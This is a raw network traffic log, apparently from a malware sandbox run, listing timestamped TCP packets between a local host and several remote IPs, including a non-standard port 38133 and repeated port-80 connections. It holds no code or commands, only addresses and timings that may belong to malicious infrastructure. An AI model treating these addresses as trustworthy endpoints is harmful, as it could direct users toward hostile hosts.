Jan 14, 2022 09:25:51.767761946 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.767838955 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.767877102 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.767906904 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.767923117 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.767951012 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.768022060 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.768055916 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.768094063 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.768114090 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.768126965 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.768202066 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.768238068 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.768347979 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.768366098 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.768388987 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.768423080 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.768455982 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.768471003 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.768562078 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.768596888 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.768616915 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.768635035 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.768640995 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.768678904 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.768712997 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.768755913 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.768778086 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.768790007 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.768821001 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.768857956 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.768886089 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.768902063 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.768918991 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.768982887 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.769017935 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.769048929 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.769064903 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.769082069 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.769138098 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.769174099 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.769205093 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.769222975 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.769241095 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.769248009 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.769288063 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.769345999 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.770622969 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.770639896 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.770659924 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.770766973 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.770781040 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.770819902 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.770829916 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.770849943 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.770859003 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.770906925 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.770924091 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.770950079 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.770962954 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.770977020 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.771038055 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.771050930 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.771079063 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.771251917 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.771270990 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.771292925 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.771305084 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.771378040 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.771392107 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.771409988 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.771430969 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.771455050 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.771461010 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.771491051 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.771507025 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.771522045 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.771553040 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.771565914 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.771593094 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.771640062 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.771651983 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.771682978 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.771704912 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.771723986 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.771742105 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.771749973 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.771761894 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.771773100 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.771806002 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.771814108 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.771846056 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.771862984 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.771878958 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.771929979 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.773885012 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.773926973 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.773993969 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.774010897 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.774027109 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.774048090 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.774071932 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.774080992 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.774100065 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.774127960 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.774164915 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.774322033 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.774358034 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.774400949 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.774419069 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.774431944 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.774481058 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.774660110 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.774720907 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.774765015 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.774780035 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.774806023 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.774823904 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.774871111 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.774907112 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.774935007 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.774980068 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.774993896 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.775031090 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.775054932 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.775065899 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.775087118 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.775089025 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.775137901 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.775161028 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.775542021 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.775580883 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.775619984 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.775634050 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.775650024 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.775686026 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.775840998 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.775877953 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.775913954 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.775928020 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.775944948 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.775980949 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.776093006 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.776128054 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.776168108 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.776182890 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.776201010 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.776242971 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.781198025 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.781224012 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.781281948 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.781297922 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.781332970 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.781349897 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.781470060 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.781527042 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.872917891 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.872957945 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.872992992 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873115063 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.873131990 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873177052 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.873188019 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873212099 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.873219967 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873310089 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.873325109 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873343945 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873385906 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.873398066 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873413086 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.873419046 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.873460054 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.873476982 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873518944 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.873533964 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873558998 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.873583078 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873615026 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.873632908 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.873632908 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873655081 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873680115 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.873691082 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873717070 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.873728991 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873745918 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873759031 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.873775005 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873804092 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.873809099 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873827934 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873838902 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.873873949 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.873893976 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873934984 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.873971939 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.873990059 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.874010086 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.874021053 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.874078035 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.874092102 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.874109030 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.874293089 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.874330044 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.874370098 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.874389887 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.874403000 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.874452114 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.874485016 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.874527931 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.874543905 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.874558926 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.874589920 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.874591112 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.874613047 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.874658108 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.874660015 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.874684095 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.874696016 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.874712944 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.874748945 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.962430954 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.962483883 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.962563992 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.962605000 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.962634087 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.962692976 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.962702036 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.962726116 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.962738037 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.962779045 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.962877989 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.962896109 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.962913036 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.962922096 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.962964058 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.962971926 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.962980986 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.962992907 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.963048935 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.963069916 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.963118076 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.963155031 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.963202000 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.963217020 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.963232994 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.963258982 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.963275909 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.963310957 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.963352919 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.963366985 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.963382959 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.963392019 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.963428974 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.963464022 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.963479042 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.963495970 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.964386940 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.986610889 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.986668110 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.986732960 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.986764908 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.986782074 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.986793041 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.986823082 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.986838102 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.986860991 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.986869097 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.986876965 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.986900091 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.986912966 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.986937046 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.986954927 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.986970901 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.986979008 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.986994982 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.987044096 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.987061977 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.987072945 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.987102985 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.987260103 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:52.057912111 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:52.083400011 CET	49882	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 09:25:52.112567902 CET	38133	49882	86.107.197.138	192.168.2.4
Jan 14, 2022 09:25:52.189768076 CET	49882	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 09:25:52.225943089 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:52.456244946 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:52.456290007 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:52.456312895 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:52.456327915 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:54.518174887 CET	49882	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 09:25:54.595556021 CET	38133	49882	86.107.197.138	192.168.2.4
Jan 14, 2022 09:25:54.674293995 CET	38133	49882	86.107.197.138	192.168.2.4
Jan 14, 2022 09:25:54.786688089 CET	49882	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 09:25:55.396899939 CET	49883	80	192.168.2.4	185.163.45.70
Jan 14, 2022 09:25:55.985177994 CET	49884	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.002530098 CET	80	49884	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:56.006127119 CET	49884	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.006203890 CET	49884	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.008292913 CET	49884	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.024096012 CET	80	49884	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:56.025892973 CET	80	49884	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:56.126955986 CET	80	49884	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:56.127707958 CET	49884	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.127872944 CET	49884	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.145488977 CET	80	49884	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:56.155889988 CET	49885	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.173198938 CET	80	49885	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:56.173316002 CET	49885	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.173425913 CET	49885	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.173471928 CET	49885	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.190753937 CET	80	49885	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:56.294492006 CET	80	49885	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:56.294604063 CET	49885	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.294671059 CET	49885	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.312987089 CET	80	49885	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:56.322207928 CET	49886	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.339627028 CET	80	49886	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:56.339731932 CET	49886	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.339813948 CET	49886	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.339828014 CET	49886	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.358016968 CET	80	49886	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:56.464879036 CET	80	49886	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:56.465245008 CET	49886	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.465553999 CET	49886	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.483144045 CET	80	49886	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:56.514545918 CET	49887	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.532001019 CET	80	49887	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:56.535237074 CET	49887	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.535351038 CET	49887	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.535370111 CET	49887	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.553617954 CET	80	49887	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:56.656380892 CET	80	49887	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:56.656543016 CET	49887	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.656764030 CET	49887	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:56.674074888 CET	80	49887	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:56.741170883 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:56.741198063 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:56.741698980 CET	49888	443	192.168.2.4	144.76.136.153
